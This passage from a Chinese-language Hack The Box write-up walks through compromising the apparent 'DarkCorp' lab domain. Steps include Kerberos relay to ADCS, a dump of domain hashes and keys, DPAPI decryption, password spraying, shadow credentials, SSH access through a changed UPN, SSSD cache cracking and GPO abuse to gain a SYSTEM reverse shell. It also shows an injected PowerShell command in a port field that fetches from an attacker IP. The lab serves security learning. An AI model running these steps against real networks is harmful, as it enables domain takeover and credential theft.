$ export KRB5CCNAME=administrator@CIFS_WEB-01.DARKCORP.HTB@DARKCORP.HTB.ccache
$ smbexec.py darkcorp.htb/administrator@web-01.darkcorp.htb -k -no-pass -debug -dc-ip 172.16.20.1從上面的例子中你也可以猜到,由於是通過 kerberos認證,如果使用 DC-01 來强制觸發認證,理論上也可以得到 DC-01 的hash:
$ sudo krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC-01$' -debug $ PetitPotam.py -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 172.16.20.1可以看到 申請 DomainController 的證書成功:
同樣的使用 certipy 一樣獲得hash:
$ certipy auth -pfx DC-01\$.pfx -dc-ip 172.16.20.1然後直接 secretsdump 就得到了 admin:
$ secretsdump.py dc-01\$@172.16.20.1 -hashes ":45d397447e9d8a8c181655c27ef31d28" 之後就是 pass the hash:
$ evil-winrm -i 172.16.20.1 -u administrator -H "fcb3ca5a19a1ccf2d14c13e8b64cde0f"回到 WEB-01,跑一下 winpeas,看到:
user : darkcorp\svc_acc
pass : VeteranLimitedCookies6!
type : Application Pool
vdir : NA
apppool : DefaultAppPool 不過這個賬號密碼目前沒什麽用, 從Winpeas中看到DPAPI有東西。
嘗試使用DPAPI,看到有本地的管理員密碼:
PS C:\mane> .\SharpDPAPI.exe machinetriage
UserName : WEB-01\Administrator
Credential : But_Lying_Aid9! 如果運行 credentials 模式會提示有一個加密的文件找不到 master key:
PS C:\mane> .\SharpDPAPI.exe credentials
看起來無法正確的找到masterkey的路徑,所以使用powershell搜索一下用戶的所以key:
$searchDir = "C:\Users"; $users = Get-ChildItem $searchDir ; foreach ($user in $users) { " ========== $user - Master Key =========" ; $folders = Get-ChildItem -Directory -force "$searchDir\$user\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue; foreach ($folder in $folders) { "$searchDir\$user\AppData\Roaming\Microsoft\Protect\$folder" ; Get-ChildItem -force "$searchDir\$user\AppData\Roaming\Microsoft\Protect\$folder" -ErrorAction SilentlyContinue | foreach {$_.Fullname} } ; $folders = Get-ChildItem -Directory -force "$searchDir\$user\AppData\Local\Microsoft\Protect\" -ErrorAction SilentlyContinue ; foreach ($folder in $folders) { "$searchDir\$user\AppData\Local\Microsoft\Protect\$folder" ; Get-ChildItem -force "$searchDir\$user\AppData\Local\Microsoft\Protect\$folder" -ErrorAction SilentlyContinue | foreach {$_.Fullname} ; } ; " ========== $user - Secret =========" ; Get-ChildItem -force "$searchDir\$user\AppData\Roaming\Microsoft\Credentials" -ErrorAction SilentlyContinue | foreach {$_.Fullname} ; Get-ChildItem -force "$searchDir\$user\AppData\Local\Microsoft\Credentials" -ErrorAction SilentlyContinue | foreach {$_.Fullname} }從 SharpDPAPI 的結果中可以看到加密的文件是32B2774DF751FF7E28E78AE75C237A1E,且需要 6037d071-cac5-481e-9e08-c4296c0a7ff7 的masterkey,所以下載下來到本地。
解密DPAPI需要三個條件:
S-1-5-21-2988385993-1727309239-2541228647-500),密碼已經有了。條件滿足了就可以使用 dpapi.py 來進行解密:
$ dpapi.py masterkey -file 6037d071-cac5-481e-9e08-c4296c0a7ff7 -sid S-1-5-21-2988385993-1727309239-2541228647-500 -password 'But_Lying_Aid9!'
$ dpapi.py credential -file 32B2774DF751FF7E28E78AE75C237A1E -key 0xac7861aa1f899a92f7d8895b96056a76c580515d8a4e71668bc29627f6e9f38ea289420db75c6f85daac34aba33048af683153b5cfe50dd9945a1be5ab1fe6da[CREDENTIAL]
LastWritten : 2025-01-16 19:01:39
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=WEB-01
Description : Updated by: Administrator on: 1/16/2025
Unknown :
Username : Administrator
Unknown : Pack_Beneath_Solid9!之後得到另一個密碼 Pack_Beneath_Solid9!。
由於沒有用戶名,嘗試進行密碼噴射:
$ netexec ldap 172.16.20.1 -u user.txt -p 'Pack_Beneath_Solid9!' --continue-on-success是 john.w 用戶的密碼,該用戶對 angela.w有寫入的權限:
由於有ADCS的存在,所以可以直接寫入msDS-KeyCredentialLink 的屬性,然後得到hash:
$ certipy shadow -u john.w@darkcorp.htb -p 'Pack_Beneath_Solid9!' auto -account ANGELA.W -dc-ip 172.16.20.1[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a另外寫入的屬性是可以寫入該用戶的 SPN,所以檢查一下有沒有可以利用的證書,主要檢查 ENROLLEE_SUPPLIES_SUBJECT 的屬性:
.\Certify.exe find /vulnerable /quiet
由於 msPKI-Certificates-Name-Flag 中的 ENROLLEE_SUPPLIES_SUBJECT 只有上面圖片中的兩個證書,但是申請的權限沒有 Authenticated Users,所以不可以修改 upn 來獲取其他用戶的 hash。
在 Bloodhound 中發現 Linux_Admins有兩個用戶,從組名中也暗示了如果獲得下面的兩個用戶,就可以拿到 linux的root權限:
所以回到 Linux 中,使用 Linpeas 也可以枚舉到一些信息,而且認證的驅動是由 sssd 提供的:
找了一會資料,發現這篇文章:
其中第一眼可以看到 linux 可以使用ticket來認證,這部分的認證是由 GSSAPI 來提供的,如果需要支持 ssh 來pass the ticket,就需要修改 sshd_config 裏面的 GSSAPIAuthentication:
所以看一下 linux 的機器:
$ cat /etc/ssh/sshd_config | grep GSSAPI果然是開啓的狀態,那麽登錄的ssh是如何判斷哪個用戶連進來的呢?
你會發現登錄的演算法會檢查 AD 內的 samAccountName 屬性和 userPrincipalName 屬性。使用哪個演算法取決於 ticket 裏面的屬性。 如果使用 NT_PRINCIPAL 的屬性,則會先處理 samAccountName。 如果使用 NT_ENTERPRISE 的屬性,則會先搜尋 userPrincipalName。
這意味著如果申請證書指定userPrincipalName是 NT_ENTERPRISE 的屬性,則登錄的時候就會優先使用 UPN 定義登錄的用戶:
那麽如何申請NT_ENTERPRISE 的屬性呢?在 rubeus 的例子中只是制定了 principaltype 這個屬性,然後用僞造的用戶以userPrincipalName是 NT_ENTERPRISE申請一張ticket:
所以看一下 getTGT.py 支不支持:
$ getTGT.py -h
看起來是支持的。
既然getTGT.py 支持,那就直接使用 powerview 來修改 angela.w 用戶的upn:
$ powerview john.w:'Pack_Beneath_Solid9!'@darkcorp.htb
PV > Set-DomainObject -Identity angela.w -Set userPrincipalName=angela.w.adm然後嘗試使用 angela.w.adm 以userPrincipalName是 NT_ENTERPRISE的屬性申請一張 ticket,這裏的密碼和 angela.w相同:
$ getTGT.py darkcorp.htb/angela.w.adm -hashes :957246c8137069bca672dc6aa0af7c7a -principalType NT_ENTERPRISE
由於登錄 ssh 會請求 krb5,所以需要在本地修改 /etc/krb5.conf 的配置文件:
[libdefaults]
default_realm = DARKCORP.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
DARKCORP.HTB = {
kdc = darkcorp.htb
admin_server = darkcorp.htb
}
[domain_realm]
.darkcorp.htb = DARKCORP.HTB
darkcorp.htb = DARKCORP.HTB然後嘗試 pass the tricket,結果成功的登錄了 angela.w.adm:
$ ssh -K angela.w.adm@drip.darkcorp.htb
在 sudo -l 中可以看到該用戶以任意的方式運行 root 命令,所以:
sudo -s這樣就得到了 root 權限。
由於是 sssd 進行認證,搜索一下 exploit 可以看到:
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sssd-privilege-escalation/
換句話就是登錄的時候 sssd 會存放的登錄用戶的緩存,密碼是以 hash 的形式存放在緩存文件裏面的:
root@drip:/etc/sssd# ls -la /var/lib/sss/
root@drip:/etc/sssd# ls -la /var/lib/sss/db於是上網找一下導出 hash 的工具,看到了這個:
看起來hash是 $6$ 的方式開頭的,所以可以使用 strings來解壓所有文字,并且使用 grep 來尋找 $6$ 的字符串:
root@drip:/var/lib/sss/db# strings *.ldb | grep '\$6\$'結果得到了hash:
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.放進去 hashcat 破解一下:
得到了密碼:
!QAZzaq1
同樣的,由於不知道用戶名,進行密碼噴射:
$ netexec ldap 172.16.20.1 -u user.txt -p '!QAZzaq1' --continue-on-success得到 taylor.b.adm 這個用戶,通過bloodhound 看到:
這個用戶有權限修改securityupdates這個GPO,也可以遠程登錄 winrm:
由於修改GPO之前要使用 GPOwned.py 看一下GPO 的ID是什麽:
$ GPOwned.py -u taylor.b.adm -p '!QAZzaq1' -d darkcorp.htb -dc-ip 172.16.20.1 -listgpo -gpcmachine [+] Name: {652CAE9A-4BB7-49F2-9E52-3361F33CE786}
[-] displayName: SecurityUpdates
[-] gPCFileSysPath: \\darkcorp.htb\SysVol\darkcorp.htb\Policies\{652CAE9A-4BB7-49F2-9E52-3361F33CE786}
[-] gPCMachineExtensionNames: None
[-] versionNumber: 0
[-] Verbose:
既然要修改 GPO,那就需要登陸 winrm 來運行 gpupdate /force,這樣系統才會强制更新 GPO,就不用等待兩個小時來更新GPO:
$ evil-winrm -i 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'然後放個reverse shell:
之後老樣子,使用 pygpoabuse.py 更新 GPO 的内容:
$ pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -gpo-id '652cae9a-4bb7-49f2-9e52-3361f33ce786' -dc-ip 172.16.20.1 -command "C:\mane\sleep.exe C:\mane\sleep.bin" -taskname "manesec" -description "POWER BY MANESEC"更新好了之後運行 gpupdate /force 就得到了shell:
這時候已經是 NT System了:
效果圖如下:
完結。
$ secretsdump.py dc-01\$@172.16.20.1 -hashes ":45d397447e9d8a8c181655c27ef31d28"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
victor.r:1103:aad3b435b51404eeaad3b435b51404ee:06207752633f7509f8e2e0d82e838699:::
svc_acc:1104:aad3b435b51404eeaad3b435b51404ee:01f55ea10774cce781a1b172478fcd25:::
john.w:1105:aad3b435b51404eeaad3b435b51404ee:b31090fdd33a4044cd815558c4d05b04:::
angela.w:1106:aad3b435b51404eeaad3b435b51404ee:957246c8137069bca672dc6aa0af7c7a:::
angela.w.adm:1107:aad3b435b51404eeaad3b435b51404ee:cf8b05d0462fc44eb783e3f423e2a138:::
taylor.b:1108:aad3b435b51404eeaad3b435b51404ee:ab32e2ad1f05dab03ee4b4d61fcb84ab:::
taylor.b.adm:14101:aad3b435b51404eeaad3b435b51404ee:0577b4b3fb172659dbac0be4554610f8:::
darkcorp.htb\eugene.b:25601:aad3b435b51404eeaad3b435b51404ee:84d9acc39d242f951f136a433328cf83:::
darkcorp.htb\bryce.c:25603:aad3b435b51404eeaad3b435b51404ee:5aa8484c54101e32418a533ad956ca60:::
DC-01$:1000:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
DRIP$:1601:aad3b435b51404eeaad3b435b51404ee:fa133329576858e48f4e1a8de10d7f56:::
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:97064b5e2ed9569a7a61cb6e71fd624e20de8464fc6d3f7f9c9ccd5ec865cd05
Administrator:aes128-cts-hmac-sha1-96:0424167c3041ed3b8df4ab1c996690c1
Administrator:des-cbc-md5:a1b004ad46dc19d9
krbtgt:aes256-cts-hmac-sha1-96:2795479225a152c8958119e8549079f2a59e101d84a3e464603a9cced55580d6
krbtgt:aes128-cts-hmac-sha1-96:183ebcd77ae33f476eb13c3f4404b98d
krbtgt:des-cbc-md5:7fe9e5ad67524001
victor.r:aes256-cts-hmac-sha1-96:84e79cb6b8959ebdda0dc73d2c6728bb9664d0d75c2aef702b0ea0a4126570bb
victor.r:aes128-cts-hmac-sha1-96:bc1fa04172b62be4428af05dcd4941af
victor.r:des-cbc-md5:62491fa740918316
svc_acc:aes256-cts-hmac-sha1-96:21ebfe2a41e5d614795ef004a06135748d5af03d0f2ca7fd6f6d804ac00f759a
svc_acc:aes128-cts-hmac-sha1-96:aebdba02d03943f17f553495f5f5e1d1
svc_acc:des-cbc-md5:5bec0bb54a405ed9
john.w:aes256-cts-hmac-sha1-96:6c0d89a7461f21150bbab0e4c9dea04ca4feb27a4f432c95030dbfa17f4f7de5
john.w:aes128-cts-hmac-sha1-96:16da7304c10a476b10a0ad301f858826
john.w:des-cbc-md5:e90b041f52b30875
angela.w:aes256-cts-hmac-sha1-96:25f7053fcfb74cf4f02dab4b2c7cb1ae506f3c3c09e4a5b7229b9f21a761830a
angela.w:aes128-cts-hmac-sha1-96:15f1467015c7cdd49ef74fd2fe549cf3
angela.w:des-cbc-md5:5b0168dacbc22a5e
angela.w.adm:aes256-cts-hmac-sha1-96:bec3236552b087f396597c10431e9a604be4b22703d37ae45cde6cd99873c693
angela.w.adm:aes128-cts-hmac-sha1-96:994dccb881c6a80c293cac8730fd18a2
angela.w.adm:des-cbc-md5:cb0268169289bfd9
taylor.b:aes256-cts-hmac-sha1-96:b269239174e6de5c93329130e77143d7a560f26938c06dae8b82cae17afb809c
taylor.b:aes128-cts-hmac-sha1-96:a3f7e9307519e6d3cc8e4fba83df0fef
taylor.b:des-cbc-md5:9b8010a21f1c7a3d
taylor.b.adm:aes256-cts-hmac-sha1-96:4c1e6783666861aac09374bee2bc48ba5ad331f3ac87e067c4a330c6a31dd71a
taylor.b.adm:aes128-cts-hmac-sha1-96:85712fd85df4669be88350520651cfe2
taylor.b.adm:des-cbc-md5:ce6176f4f4e5cd9e
darkcorp.htb\eugene.b:aes256-cts-hmac-sha1-96:33e0cf90ad3c5d0cd264207421c506b56b8ca9703b5be8c58a97169851067fd1
darkcorp.htb\eugene.b:aes128-cts-hmac-sha1-96:adf8b2743349be9684f8ec27df53fa92
darkcorp.htb\eugene.b:des-cbc-md5:2f5ef4b06b231afd
darkcorp.htb\bryce.c:aes256-cts-hmac-sha1-96:e835ec6b7d680472bdf65ac11ec17395930b5d778ba08481ef7290616b1fa7a8
darkcorp.htb\bryce.c:aes128-cts-hmac-sha1-96:09b1a46858723452ce11da2335b602b0
darkcorp.htb\bryce.c:des-cbc-md5:26d55b5849b6e623
DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
DC-01$:des-cbc-md5:8038f74f7c0da1b5
DRIP$:aes256-cts-hmac-sha1-96:d32d67eea4e966dc11e9c8d2f095c139f00c599bed754a97281ed8003536cf38
DRIP$:aes128-cts-hmac-sha1-96:4f5a85a6241541fb066c57d3ca7ae9d7
DRIP$:des-cbc-md5:13e52519612f1532
WEB-01$:aes256-cts-hmac-sha1-96:f16448747d7df00ead462e40b26561ba01be87d83068ef0ed766ec8e7dd2a12e
WEB-01$:aes128-cts-hmac-sha1-96:7867cb5a59da118ad045a5da54039eae
WEB-01$:des-cbc-md5:38e00bb3d901eaef
[*] Cleaning up...在 web-01 裏的5000端口中,服務器脚本如下:
from flask import Flask, render_template, request, jsonify, Response
import requests
from datetime import datetime
import os
import csv
import subprocess
from urllib.parse import urlparse
import sys
app = Flask(__name__, static_url_path='', static_folder='static', template_folder='templates')
# Predefined options
ALLOWED_HOSTS = ["web-01.darkcorp.htb", "web-02.darkcorp.htb", "web-03.darkcorp.htb", "drip.darkcorp.htb", "db-01.darkcorp.htb", "db-02.darkcorp.htb"]
ALLOWED_PROTOCOLS = ["http", "https"]
ALLOWED_PORTS = ["80", "443"]
csv_file_path = "status_logs.csv"
def is_valid_url(url):
parsed_url = urlparse(url)
return all([parsed_url.scheme, parsed_url.netloc])
@app.route('/')
def index():
return render_template('dashboard.html')
@app.route("/check")
def check_endpoint():
return render_template("check_status.html", hosts=ALLOWED_HOSTS, ports=ALLOWED_PORTS, protocols=ALLOWED_PROTOCOLS)
@app.route("/status", methods=["POST"])
def check_status():
# Get and validate user inputs
data = request.get_json()
protocol = data.get('protocol')
host = data.get('host')
port = data.get('port')
response_time_ms = 120
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
status_check_data = {
"timestamp": timestamp,
"server": '',
"status": '',
"response_time_ms": response_time_ms
}
if protocol.lower() not in ALLOWED_PROTOCOLS or host.lower() not in ALLOWED_HOSTS:
return jsonify({"status": "Error", "message": "Invalid input"}), 400
url = f"{protocol}://{host}:{port}"
if not is_valid_url(url):
return jsonify({"status": "Error", "message": f"Invalid URL: {url}"}), 500
try:
status_check_data['server'] = host
response = requests.get(url, timeout=5)
if response.status_code == 200:
status_check_data['status'] = 'UP'
append_to_csv(status_check_data)
return jsonify({"status": "Success!", "message": f"{url} is up!"})
elif response.status_code == 401:
command = ["powershell", "iwr", "-uri", url, '-UseDefaultCredentials']
result = subprocess.run(command, capture_output=True, text=True)
if result.returncode == 0:
status_check_data['status'] = 'UP'
append_to_csv(status_check_data)
return jsonify({"status": "Success!", "message": f"{url} is up!"})
else:
status_check_data['status'] = 'DOWN'
append_to_csv(status_check_data)
return jsonify({"status": "Error!", "message": f"{url} is down (HTTP {response.status_code})"}), 500
else:
status_check_data['status'] = 'DOWN'
append_to_csv(status_check_data)
return jsonify({"status": "Error", "message": f"{url} is down (HTTP {response.status_code})"}), 500
except requests.RequestException as e:
status_check_data['status'] = 'DOWN'
append_to_csv(status_check_data)
return jsonify({"status": "Error", "message": f"{url} is unreachable: {str(e)}"}), 500
def append_to_csv(data):
with open(csv_file_path, mode="a", newline="") as file:
writer = csv.DictWriter(file, fieldnames=["timestamp", "server", "status", "response_time_ms"])
if data['status'] == 'DOWN':
data['response_time_ms'] = 0
writer.writerow(data)
@app.route("/graph-data", methods=["GET"])
def graph_data():
# Read CSV file and convert data to JSON
data = []
with open(csv_file_path, mode="r") as file:
reader = csv.DictReader(file)
for row in reader:
data.append({
"timestamp": row["timestamp"],
"server": row["server"],
"status": row["status"],
"response_time_ms": int(row["response_time_ms"])
})
return jsonify(data)
@app.route("/graphs", methods=["GET"])
def graphs():
return render_template("graphs.html")
@app.route('/export-logs', methods=['GET'])
def export_logs():
# Serve the CSV file for download
with open(csv_file_path, mode="r") as file:
csv_content = file.read()
return Response(
csv_content,
mimetype="text/csv",
headers={"Content-Disposition": "attachment;filename=status_logs.csv"}
)
service_status = [
{"name": "WEB-01", "status": "Operational"},
{"name": "WEB-02", "status": "Broken"},
{"name": "WEB-03", "status": "Broken"},
{"name": "DB-01", "status": "Broken"},
{"name": "DB-01", "status": "Broken"},
{"name": "Third-party Integrations", "status": "Operational"}
]
@app.route('/service-status', methods=['GET'])
def get_service_status():
return jsonify(service_status)
if __name__ == "__main__":
app.run(debug=True)requests 會先請求一遍,儅返回的代碼是401的時候,才會使用powershell進行檢測,但是爲什麽會觸發 rce 呢?
從上面的源碼可以看到檢測是來自 is_valid_url 這個函數,如果這個函數識別到是有效的 url 才可以繼續,整個程序也沒有識別端口是不是數字,從而產生的一個 bug,使用簡化版來擧個例子:
from urllib.parse import urlparse
def is_valid_url(url):
parsed_url = urlparse(url)
print(parsed_url)
return all([parsed_url.scheme, parsed_url.netloc])
while True:
print(is_valid_url(input("Enter URL: ")))運行後你會看到,儅輸入一個完整的url的時候,就算端口是 8888/ iwr http://10.10.16.31/mane,最後合并到一起也會變成一個有效的url,下面圖中綠色的綫是 requests 要請求的 hostname:
很明顯第一個hostname有特殊符號,所以 requests 就報錯了。第二個是正常的hostname,只要請求 drip.darkcorp.htb:8888 返回任意 401 代碼就可以傳遞給powershell 然後造成任意代碼運行:
五星機器,這是我目前在htb遇到最好的最棒的機器。
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY 這個模塊后可以解鎖更多的功能!
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.